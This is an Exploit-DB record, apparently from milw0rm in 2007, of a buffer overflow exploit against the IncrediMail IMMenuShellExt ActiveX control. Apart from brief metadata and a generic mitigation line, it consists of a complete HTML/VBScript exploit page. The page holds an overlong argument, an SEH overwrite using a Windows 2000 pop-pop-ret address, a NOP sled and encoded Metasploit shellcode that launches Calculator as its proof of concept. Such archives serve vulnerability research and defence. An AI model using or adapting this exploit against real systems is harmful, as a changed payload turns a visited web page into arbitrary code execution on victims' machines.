IncrediMail IMMenuShellExt ActiveX Control Buffer Overflow Exploit

vendor:

IMMenuShellExt ActiveX Control

by:

Umesh Wanve

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: IMMenuShellExt ActiveX Control

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows 2000 SP4 Server English, Windows 2000 SP4 Professional English

2007

IncrediMail IMMenuShellExt ActiveX Control Buffer Overflow Exploit

This exploit triggers a buffer overflow vulnerability in the IncrediMail IMMenuShellExt ActiveX Control, allowing an attacker to execute arbitrary code on the vulnerable machine. The exploit opens the Calculator application as a proof of concept.

Mitigation:

Apply the latest patch or update from the vendor to fix the buffer overflow vulnerability.

Source

Exploit-DB raw data:

<!--

  ===============================================================================================
                        IncrediMail IMMenuShellExt ActiveX Control Buffer Overflow Exploit
                                            By Umesh Wanve 
  ==============================================================================================   
        
  Date : 08-05-2007
 
  Reference: https://www.securityfocus.com/bid/23674

  Tested on Windows 2000 SP4 Server English
            Windows 2000 SP4 Professional English
 
  Opens Calculator on the Vulnerable machine.
 
  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.
 
  Always thanks to Metasploit and Stroke 

-->


<html>

<title>
 IncrediMail IMMenuShellExt ActiveX Control Buffer Overflow Exploit - By Umesh Wanve
</title>

<body>

<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:F8984111-38B6-11D5-8725-0050DA2761C4" > </OBJECT>

<script language="vbscript">

<!-- win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  -->
shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")
shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")
shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")
shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")
shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")
shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")
shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")
shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")
shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")


nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90")                

pointer_to_seh=unescape("%eb%06%90%90")

<!-- 0x750211a9  -- pop pop ret from ws2help.dll from windows2000 SP4  -->

seh_handler=unescape("%a9%11%02%75")   

                                

targetFile = "C:\PROGRA~1\INCRED~1\bin\ImShExt.dll"
prototype  = "Sub DoWebMenuAction ( ByVal bsPath As String )"
memberName = "DoWebMenuAction"
progid     = "INCREDISHELLEXTLib.IMMenuShellExt"
argCount   = 1

arg1=String(2483, "A")



arg1=arg1+pointer_to_seh+seh_handler+nop+shellcode+nop

target.DoWebMenuAction arg1 

</script>
</body>
</html>

# milw0rm.com [2007-05-08]